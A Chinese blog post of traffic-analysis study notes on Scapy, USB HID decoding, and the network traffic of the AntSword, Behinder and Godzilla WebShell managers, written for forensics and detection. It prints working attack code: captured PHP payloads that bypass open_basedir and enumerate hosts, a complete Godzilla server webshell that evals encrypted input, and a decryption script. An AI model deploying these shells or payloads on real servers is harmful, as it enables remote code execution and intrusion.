流量分析笔记

基础

前言

流量分析(Traffic Analysis)又可以称作是网络取证(Network Forensics),正如其名,就是对计算机或计算机网络通信所产生的流量进行分析的一门技术

只要有通信就会产生流量。

在这里不过多赘述概念,本篇博客将注重于记录各种有特点的流量分析,或者是协议分析等。

主要使用的软件是 Wireshark 和 Python,其中需要借助 Scapy 库。

网络体系结构

TCP/IP 是因特网上的标准通信协议集,它不是针对某一个协议(例如 TCP 协议或 IP 协议)。

TCP/IP 的体系结构分为 4 层,分别是

TCP/IP 功能
应用层 FTP,SMTP,HTTP 等上层协议
传输层 TCP/UDP
网络互连层 把数据分组发往目标网络或主机
网络接口层 负责与物理网络的连接

其中为了方便讲解和理解,网络接口层一般被拆分为数据链路层物理层

TCP/IP体系结构

而在网络通信中传输的最小单元,即协议数据单元 PDU,是数据在不同层次上的封装单元,它包含了特定协议层所需的信息。

每个协议层都将上一层的数据包装成PDU,然后传递给下一层,自上而下层层封装

SCAPY

Scapy 就是协议数据单元 PDU 的概念制作和分析报文的。

例如说一个最简单的 HTTP 协议完整报文应该是由数据链路层,网络层,传输层和应用层的协议封装而成的,那么在 Scapy 中,仅需简单拼接即可得到

1
2
3
4
from scapy.layers.l2 import *
from scapy.layers.inet import *

packet = Ether() / IP() / TCP() / "GET / HTTP/1.1\r\n"

回显为

1
<Ether  type=IPv4 |<IP  frag=0 proto=tcp |<TCP  |<Raw  load='GET / HTTP/1.1\r\n' |>>>>

协议头与数据的概念一目了然。

PDU结构

USB流量

计算机与 USB 设备进行通信,同样也会产生流量,不过我们主要关注 HID USB 设备所产生的流量。

USB-IF 组织总结了标准 HID USB 设备的定义和使用等相关的文档,可以参考 HID Usage Tables,以下简称 HIDUT

其中 HIDUT 有两份文件,一份是 PDF 文档,一份是 PDF 文档的附加文件 HidUsageTables.json,PDF 文档内容用于解释 JSON 数据。

推荐使用 Adobe Acrobat Reader 提取附件,可以附加附件的功能暂且也只有该软件提供。

有关流量协议部分,可以参考微软官方文档:

简单来说,HID 由两个部分组成:

  • 报告描述符(Report Descriptor):描述了设备支持的数据的格式和含义
  • 报告(Report):设备和软件客户端之间交换的实际数据,即携带的 HID Data。

报告的长度在一定程度上是固定的 8 字节,这是因为 CMOS 启动固件不处理报告描述符,故报告的缓冲区大小就是固定的 8 字节。

如果报告的长度大于 8 字节,那么在 BIOS 阶段无法识别设备信息。

键盘流量

对于键盘设备的 HID 数据在文档中有着严格定义,详细可以参考 10 Keyboard/Keypad Page (0x07),其 Usage Page Id 为0x07

理论上来说一个 HID 键盘设备仅需三个字节就可以描述一次输入,其中

  • Bytes[0]修饰键
  • Bytes[1]保留字节
  • Bytes[2]映射键

如果长度为 8 字节,那么其后六个字节 Bytes[2:8] 是同时按下的映射键。

如果更多,可能有其他用途。

键盘布局参考:中文(简体)-美式键盘

脚本参考

鼠标流量

对于鼠标设备的 HID 数据,最少需要三字节(Linux 的 micelog),常规还有短的 4 字节,其中

  • Bytes[0] 是按键掩码(左中右)
  • Bytes[1] 是指针 x 轴偏移量
  • Bytes[2] 是指针 y 轴偏移量
  • Bytes[3] 是滚轮偏移量

正常是 8 字节,其中

  • Bytes[0] 是按键掩码(左中右)
  • Bytes[2:4] 是指针 x 轴偏移量
  • Bytes[4:6] 是指针 y 轴偏移量
  • Bytes[6] 是垂直滚轮偏移量
  • Bytes[7] 是水平滚轮偏移量

所有偏移量均是补码形式。

脚本参考

WebShell 流量

WebShell 流量分析是威胁分析中比较重要的部分,旨在监测、识别和分析网络中传输的 WebShell 相关流量,包括但不限于应急响应,自动化监测等。

WebShell流量分析需要具备相关的网络安全知识,能够识别恶意代码、特定命令和异常行为,并最好能够追踪和溯源攻击者的来源和行为,包括分析其中的IP地址、用户代理或请求参数等信息。

简单的WebShell常常采用一句话木马,利用简单的HTTP请求传递参数,以实现远程执行命令(Remote Code Execution,RCE)的行为。

防护措施不断升级,最简单的防御方法之一是监测传递的参数中是否含有敏感词。然而,出于对抗监测的目的,一些 WebShell 使用了 Base64 等编码方式对参数进行隐藏。这导致了一些 WebShell 管理和注入软件的出现,例如菜刀(Cknife)、AntSword 等。

更高级的WebShell常常采用AES等非对称加密对传递的参数进行加密执行,例如冰蝎(Behinder)等,采用了更复杂的编码和通信方式,以增加检测和防御的难度。这些工具不仅能够对传递的参数进行加密隐藏,还可能通过多个通信协议进行通信,如 HTTP、DNS、ICMP 等,使得流量更难以被检测和分析。

故在此记录并总结常见 WebShell 流量的特征与分析。

AntSword

抓包

AntSword 基于中国菜刀开发,支持多种类型的 WebShell,具体可以参考官方文档官方仓库

首先先进行简单的抓包,只尝试连接,得到的负载代码如下(经过格式化处理)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
@ini_set("display_errors", "0");
@set_time_limit(0);
$opdir = @ini_get("open_basedir");
if ($opdir) {
$ocwd = dirname($_SERVER["SCRIPT_FILENAME"]);
$oparr = preg_split(base64_decode("Lzt8Oi8="), $opdir);
@array_push($oparr, $ocwd, sys_get_temp_dir());
foreach ($oparr as $item) {
if (!@is_writable($item)) {
continue;
};
$tmdir = $item . "/.5b36e59748b";
@mkdir($tmdir);
if (!@file_exists($tmdir)) {
continue;
}
$tmdir = realpath($tmdir);
@chdir($tmdir);
@ini_set("open_basedir", "..");
$cntarr = @preg_split("/\\\\|\//", $tmdir);
for ($i = 0; $i < sizeof($cntarr); $i) {
@chdir("..");
};
@ini_set("open_basedir", "/");
@rmdir($tmdir);
break;
};
};;
function asenc($out)
{
return $out;
};
function asoutput()
{
$output = ob_get_contents();
ob_end_clean();
echo "75b9" . "e75f9";
echo @asenc($output);
echo "94" . "c37";
}
ob_start();
try {
$D = dirname($_SERVER["SCRIPT_FILENAME"]);
if ($D == "") $D = dirname($_SERVER["PATH_TRANSLATED"]);
$R = "{$D} ";
if (substr($D, 0, 1) != "/") {
foreach (range("C", "Z") as $L) if (is_dir("{$L}:")) $R .= "{$L}:";
} else {
$R .= "/";
}
$R .= " ";
$u = (function_exists("posix_getegid")) ? @posix_getpwuid(@posix_geteuid()) : "";
$s = ($u) ? $u["name"] : @get_current_user();
$R .= php_uname();
$R .= " {$s}";
echo $R;;
} catch (Exception $e) {
echo "ERROR://" . $e->getMessage();
};
asoutput();
die();

通过多抓几次包可以发现,基本上代码的主体框架,或者说是特征是一样的,最显眼的便是下面两句话

1
2
@ini_set("display_errors", "0");
@set_time_limit(0);

想要分析出 AntSword 的所有行为,通过抓包逐一分析是复杂的,但是有了对 AntSword 的基本认识,就可以来分析 AntSword 的代码了。

主逻辑

AntSword 的代码十分浅显,不难发现重点在于 core 库中编写的代码,其中包含所支持的所有连接类型

连接类型是 AntSword 的一个术语,可以理解为使用什么语言的代码来解析不同的行为。

在文件夹 core/php 下有三个文件夹 encoderdecodertemplate,分别对应的是编码器、解码器和命令执行代码;还有一个入口文件 index.js

首先分析 index.js,观察到 119 行 data['_'] = ...,这是最终返回的负载形式,格式化代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
@ini_set("display_errors", "0");
@set_time_limit(0);
${bypassOpenBaseDirCode};
${asencCode};
function asoutput()
{
$output = ob_get_contents();
ob_end_clean();
echo "${tag_s . substr(0, tag_s . length / 2)}" . "${tag_s . substr(tag_s . length / 2)}";
echo @asenc($output);
echo "${tag_e . substr(0, tag_e . length / 2)}" . "${tag_e . substr(tag_e . length / 2)}";
}
ob_start();
try {
${tmpCode};
} catch (Exception $e) {
echo "ERROR://" . $e->getMessage();
};
asoutput();
die();

与上文抓包进行比对,可以发现基本一致。

向代码上文进行匹配 bypassOpenBaseDirCode,不难发现也是固定的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$opdir=@ini_get("open_basedir");
if($opdir) {
$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);
@array_push($oparr,$ocwd,sys_get_temp_dir());
foreach($oparr as $item) {
if(!@is_writable($item)){
continue;
};
$tmdir=$item."/.${opdir}";
@mkdir($tmdir);
if(!@file_exists($tmdir)){
continue;
}
$tmdir=realpath($tmdir);
@chdir($tmdir);
@ini_set("open_basedir", "..");
$cntarr=@preg_split("/\\\\\\\\|\\//",$tmdir);
for($i=0;$i<sizeof($cntarr);$i++){
@chdir("..");
};
@ini_set("open_basedir","/");
@rmdir($tmdir);
break;
};
};

再向上文匹配 asencCode,可以找到目标代码

1
2
3
4
5
if (!force_default) {
asencCode = this.__decoder__[this.__opts__['decoder'] || 'default'].asoutput(ext);
} else {
asencCode = this.__decoder__['default'].asoutput(ext);
}

得知这与解码器(decoder)的设置有关系。

最终用于执行指定命令的代码是 tmpCode,可以找到代码

1
let tmpCode = data['_'];

data 可以通过注释猜测为 template 中的代码,比如说查看 template/base.js,可以发现其中一部分代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
info: {
_: `$D=dirname($_SERVER["SCRIPT_FILENAME"]);
if($D=="")
$D=dirname($_SERVER["PATH_TRANSLATED"]);
$R="{$D}\t";
if(substr($D,0,1)!="/"){
foreach(range("C","Z")as $L)
if(is_dir("{$L}:"))$R.="{$L}:";
}else{
$R.="/";
}
$R.="\t";
$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
$s=($u)?$u["name"]:@get_current_user();
$R.=php_uname();
$R.="\t{$s}";
echo $R;`.replace(/\n\s+/g, '')
}

与上文抓包得到的代码一致。

至此,AntSword 的主要逻辑便分析完成:将不同的命令使用不同的模板代码填充基本框架

接下来就是两大 AntSword 核心功能:编码器与解码器

编码器与解码器

解码器相对于编码器较为简单,即主逻辑中的 asencCode 根据解码器的选择而改变,比如说 base64 的解码器功能即会使得输出函数为

1
2
3
4
5
6
asoutput: () => {
return `function asenc($out){
return @base64_encode($out);
}
`.replace(/\n\s+/g, '');
}

即使用 base64_encode 函数对输出进行编码,故还需要一个解码函数来解析输出向用户展示

1
2
3
decode_buff: (buff) => {
return Buffer.from(buff.toString(), 'base64');
}

可以尝试抓包,会得到与默认输出不同的输出

1
d10db/var/www/html	/	Linux aurora-vm-202 5.15.0-89-generic #99-Ubuntu SMP Mon Oct 30 20:42:41 UTC 2023 x86_64	www-data87ed9f4e2
1
4192a127b3L3Zhci93d3cvaHRtbAkvCUxpbnV4IGF1cm9yYS12bS0yMDIgNS4xNS4wLTg5LWdlbmVyaWMgIzk5LVVidW50dSBTTVAgTW9uIE9jdCAzMCAyMDo0Mjo0MSBVVEMgMjAyMyB4ODZfNjQJd3d3LWRhdGE=52bd993e

其中前后会出现一些干扰字符是因为 asoutput 函数,去除可以得到 Base64 字符串 L3Zhci93d3cvaHRtbAkvCUxpbnV4IGF1cm9yYS12bS0yMDIgNS4xNS4wLTg5LWdlbmVyaWMgIzk5LVVidW50dSBTTVAgTW9uIE9jdCAzMCAyMDo0Mjo0MSBVVEMgMjAyMyB4ODZfNjQJd3d3LWRhdGE=,解码后上下结果相同。

对于编码器,最好结合抓包示例分析,抓包结果如下(去除了过长的部分,实际上 Base64 解码后就是 info 代码)

1
d35f7a54ed3f61=...&qsdzyyds=@eval(@base64_decode($_POST['d35f7a54ed3f61']));

可以发现就是将传送的指令变为了 Base64 解码另一个参数,再结合 encoder/base64.js 的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
(pwd, data, ext = null) => {
// 生成一个随机变量名
let randomID;
if (ext.opts.otherConf['use-random-variable'] === 1) {
randomID = antSword.utils.RandomChoice(antSword['RANDOMWORDS']);
} else {
randomID = `${antSword['utils'].RandomLowercase()}${Math.random().toString(16).substr(2)}`;
}
data[randomID] = Buffer
.from(data['_'])
.toString('base64');
data[pwd] = `@eval(@base64_decode($_POST['${randomID}']));`;
delete data['_'];
return data;
}

不难得知,实际上是随机生成一个新参数的名字,然后将 Base64 编码后的结果通过另一种方式传递。

至此,AntSword 两大核心功能也分析完毕。

对于其他连接类型下的代码分析方法一致,这里不再一一赘述。

防御

为了便于分析或防御 AntSword 流量,可以通过一些特征入手,比如说匹配模板代码,或者说匹配框架代码。

Behinder

抓包

AntSword 的内容对于流量传输过程没有任何加密(这也是菜刀的功能),于是 AntSword 提供了 custom 连接类型,方便用户自定义流量加密。

Behinder 与 AntSword 有些不同,Behinder 天生就提供流量加密功能,需要用户写入加密、解密函数,生成服务端 WebShell 上传,才可以进行连接。

在 Behinder 的用语里,这叫做传输协议

当然也提供默认的服务端 WebShell,在 server 文件夹中,也有一些自定义协议可以直接生成默认服务端。

这里使用默认的 default_xor_base64 传输协议,这是为了方便解析。

为了方便这里提供解密脚本

1
2
3
4
5
6
7
8
import base64
import itertools
from urllib.parse import unquote

def decrypt_default_xor_base64(encrypt_content: str, key: str = "e45e329feb5d925b"):
xor_content = base64.b64decode(unquote(encrypt_content))
key = key[1:] + key[:1]
return bytes([c ^ k for c, k in zip(xor_content, itertools.cycle(key.encode()))])

解析后得到格式化后的代码如下(过长代码删去)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
@error_reporting(0);
function main($content)
{
$result = array();
$result["status"] = base64_encode("success");
$result["msg"] = base64_encode($content);
@session_start(); //初始化session,避免connect之后直接background,后续getresult无法获取cookie

echo encrypt(json_encode($result));
}

function Encrypt($data)
{
$key="e45e329feb5d925b";
for($i=0;$i<strlen($data);$i++) {
$data[$i] = $data[$i]^$key[$i+1&15];
}
$bs="base64_"."encode";
$after=$bs($data."");
return $after;
}
$content="...";$content=base64_decode($content);
main($content);

这里的 content 仅作测试,无实际含义。

在测试连接正常后,会发送第二次请求

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
error_reporting(0);
function main($whatever) {
$result = array();
ob_start(); phpinfo(); $info = ob_get_contents(); ob_end_clean();
$driveList ="";
if (stristr(PHP_OS,"windows")||stristr(PHP_OS,"winnt"))
{
for($i=65;$i<=90;$i++)
{
$drive=chr($i).':/';
file_exists($drive) ? $driveList=$driveList.$drive.";":'';
}
}
else
{
$driveList="/";
}
$currentPath=getcwd();
//echo "phpinfo=".$info."\n"."currentPath=".$currentPath."\n"."driveList=".$driveList;
$osInfo=PHP_OS;
$arch="64";
if (PHP_INT_SIZE == 4) {
$arch = "32";
}
$localIp=gethostbyname(gethostname());
if ($localIp!=$_SERVER['SERVER_ADDR'])
{
$localIp=$localIp." ".$_SERVER['SERVER_ADDR'];
}
$extraIps=getInnerIP();
foreach($extraIps as $ip)
{
if (strpos($localIp,$ip)===false)
{
$localIp=$localIp." ".$ip;
}
}
$basicInfoObj=array("basicInfo"=>base64_encode($info),"driveList"=>base64_encode($driveList),"currentPath"=>base64_encode($currentPath),"osInfo"=>base64_encode($osInfo),"arch"=>base64_encode($arch),"localIp"=>base64_encode($localIp));
//echo json_encode($result);
$result["status"] = base64_encode("success");
$result["msg"] = base64_encode(json_encode($basicInfoObj));
//echo json_encode($result);
//echo openssl_encrypt(json_encode($result), "AES128", $key);
echo encrypt(json_encode($result));
}
function getInnerIP()
{
$result = array();

if (is_callable("exec"))
{
$result = array();
exec('arp -a',$sa);
foreach($sa as $s)
{
if (strpos($s,'---')!==false)
{
$parts=explode(' ',$s);
$ip=$parts[1];
array_push($result,$ip);
}
//var_dump(explode(' ',$s));
// array_push($result,explode(' ',$s)[1]);
}

}

return $result;
}




function Encrypt($data)
{
$key="e45e329feb5d925b";
for($i=0;$i<strlen($data);$i++) {
$data[$i] = $data[$i]^$key[$i+1&15];
}
$bs="base64_"."encode";
$after=$bs($data."");
return $after;
}
$whatever="SnFNVUd3dDBJbjc2azFFbEtZM1hVWWlmc1NjM2tBMjZFeUcwb25Lbmd2Mkp2N3cxaGNvajZQZTlnWkxYRmU3S3ZQYjRadHZxUHFteU9zT0JyVVBmN2l0cFlUVlpqSkE2T3RNeEk5R0FTR2FQUE9aRmZZaDM2azA0cnhzM293ZVZlOFB4aktvVlRyTzBEazZQM3EzcE5lM3p3d0x4eUFXZXRrellYSnpnNWhHSUdwcVVTV0RsZmZUcEtmN1pLQmtRYmJvQ3NDU3VlUXJQdDlXdGdycGxOV0I2T1ZBOHdLaWlMNHU3cjh3ZFZjRFg2djdMOHRORWpvbFVmSzhvYkFnRUFOZWZLYzVVUWdkQ2dkTTVrWHU4YlpGOE9wNndQR3VaWVNRT1RsdWE4WXQ2bGFhVGZrMzVmc3dSUW05MnBycUlxOUYxU3pUeGlxeFNZTTlTUHBHd3RhVnVJcmxFMXZGYklzSHJOOUppVEVRUHlDSjlSQTV2RkhBSzZ5Q25WdjBEbktRbElqRmFMeXJScGhtNE11SWRaUmY5NXZZVEZlcDlTbnZOVGRMQ2d0UXdSZlRtZmJhQW5KUGd4SmlvamhTNWd4QlhJWmxpdkxGT0U3YjRYVFFZSnJudTNBaEN4NzduajJnaDdyb1ZwOGozTVFuZUhhTWtpR0NqYjhkSUh1ZWdzZ0lMWms=";$whatever=base64_decode($whatever);
main($whatever);

不难看出是在获取 phpinfo() 和其他基本信息,这也正是在 Behinder 界面所看到的结果。

如果再进一步,比如说获取目录信息,可以得到这样的参数(删除了部分代码)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
error_reporting(0);
header('Content-Type: text/html; charset=UTF-8');
// ...
function main($mode, $path = ".", $hash = "", $blockIndex = "", $blockSize = "", $content = "", $charset = "", $newpath = "", $createTimeStamp = "", $accessTimeStamp = "", $modifyTimeStamp = "")
{
$path = getSafeStr($path);
if (!file_exists($path))
{
$path=getgbkStr($path);
}
$result = array();
if ($path == ".")
$path = getcwd();
switch ($mode) {
case "list":
$allFiles = scandir($path);
$objArr = array();
foreach ($allFiles as $fileName) {
$fullPath = $path . $fileName;
if (!function_exists("mb_convert_encoding")) {
$fileName = getSafeStr($fileName);
} else {
$fileName = mb_convert_encoding($fileName, 'UTF-8', mb_detect_encoding($fileName, "UTF-8,GBK"));
}
$obj = array(
"name" => base64_encode($fileName),
"size" => base64_encode(filesize($fullPath)),
"lastModified" => base64_encode(date("Y-m-d H:i:s", filemtime($fullPath)))
);
$obj["perm"] = base64_encode((is_readable($fullPath) ? "R" : "-") . "/" . (is_writable($fullPath) ? "W" : "-") . "/" . (is_executable($fullPath) ? "E" : "-"));
if (is_file($fullPath)) {
$obj["type"] = base64_encode("file");
} else {
$obj["type"] = base64_encode("directory");
}
array_push($objArr, $obj);
}
$result["status"] = base64_encode("success");
$result["msg"] = base64_encode(json_encode($objArr));
echo encrypt(json_encode($result));
break;
case "show":
// ...
break;
// ...
}
}
function Encrypt($data)
{
$key="e45e329feb5d925b";
for($i=0;$i<strlen($data);$i++) {
$data[$i] = $data[$i]^$key[$i+1&15];
}
$bs="base64_"."encode";
$after=$bs($data."");
return $after;
}
$mode="bGlzdA==";$mode=base64_decode($mode);$path="L3Zhci93d3cvaHRtbC8=";$path=base64_decode($path);$hash="";$blockIndex="";$blockSize="";$content="";$charset="";$newpath="";$createTimeStamp="";$accessTimeStamp="";$modifyTimeStamp="";
main($mode,$path,$hash,$blockInde,$accessTimeStamp,$modifyTimeStamp);

可以发现与 AntSword 不同,Behinder 倾向于一次注入所有的功能代码,随后通过函数调用的方式改变马的行为,其中 modelist,对应列出目录的代码。

逆向

当然想分析 Behinder 的行为,跟分析 AntSword 是一样的,我们得从源代码入手。

使用 jdax 对 Behinder.jar 进行逆向,具体细节不再阐述,其中

  • 源代码的 net.rebeyond.behinder.core.ShellService 类负责了基本的 WebShell 功能,主要逻辑是通过向模板代码中添加运行代码,例如上文中的 main($mode,$path,$hash,$blockInde,$accessTimeStamp,$modifyTimeStamp); 那样。
  • 资源文件 net.rebeyond.behinder.payload 下打包了所有可用的模板代码,可以根据此作为特征进行防御,其中 net.rebeyond.behinder.payload.php 下的 BasicInfo.php 文件就是抓包时看到的代码。
  • 源代码 net.rebeyond.memshell 是内存马相关的类。

防御

可以基于 net.rebeyond.behinder.payload 对相关内容进行特征抓取,但 Behinder 的难点在于其全过程流量加密,使得无法轻易感知。但与之相对的特点是每次传输的内容比较大,且默认的 UA 较老 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0,同时密钥并非动态,非 AES 加密容易破解,AES 加密可以进行差分攻击。

Godzilla

抓包

Godzilla 与 Behinder 行为较为类似,不过 Godzilla 的流量更加隐蔽也更加复杂。

使用 Godzilla 的 PHP_XOR_BASE64 的动态加密功能,生成的服务端 Shell 如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
for($i=0;$i<strlen($D);$i++) {
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
$pass='pass';
$payloadName='payload';
$key='3c6e0b8a9c15224a';
if (isset($_POST[$pass])){
$data=encode(base64_decode($_POST[$pass]),$key);
if (isset($_SESSION[$payloadName])){
$payload=encode($_SESSION[$payloadName],$key);
if (strpos($payload,"getBasicsInfo")===false){
$payload=encode($payload,$key);
}
eval($payload);
echo substr(md5($pass.$key),0,16);
echo base64_encode(encode(@run($data),$key));
echo substr(md5($pass.$key),16);
}else{
if (strpos($data,"getBasicsInfo")!==false){
$_SESSION[$payloadName]=encode($data,$key);
}
}
}

抓到的包经过 Behinder 同样的解密脚本(密码需要更改),得到如下格式化代码(由于代码太长,删去部分)

1
2
3
4
5
6
$parameters=array();
$_SES=array();
function run($pms){
// ...
}
// ...

可以看出与 Behinder 一致,是一个格式化代码,但是结合 Shell 代码来看,Godzilla 会将这部分模板代码注入到 Session 中,即 $_SESSION[$payloadName]=encode($data,$key);,这样避免了上文提到 Behinder 的多个交互流量过大的情况。

在这之后的流量会通过注入的代码中的 run 函数进行调用,即 @run($data)

run 传递的参数中会有一定的序列化(格式化),可以参考 formatParameter 函数,不影响解析。

在注入 Session 后的一个流量,会调用 test 函数,即参数

1
b'methodName\x02\x04\x00\x00\x00test'

返回值会前后携带固定的 md5 值的前后 16 个字符,与加密逻辑一致。

不过需要注意的是,有时 Godzilla 会使用 gzip 进行压缩以减小数据传输量。

其余行为与 Behinder 类似。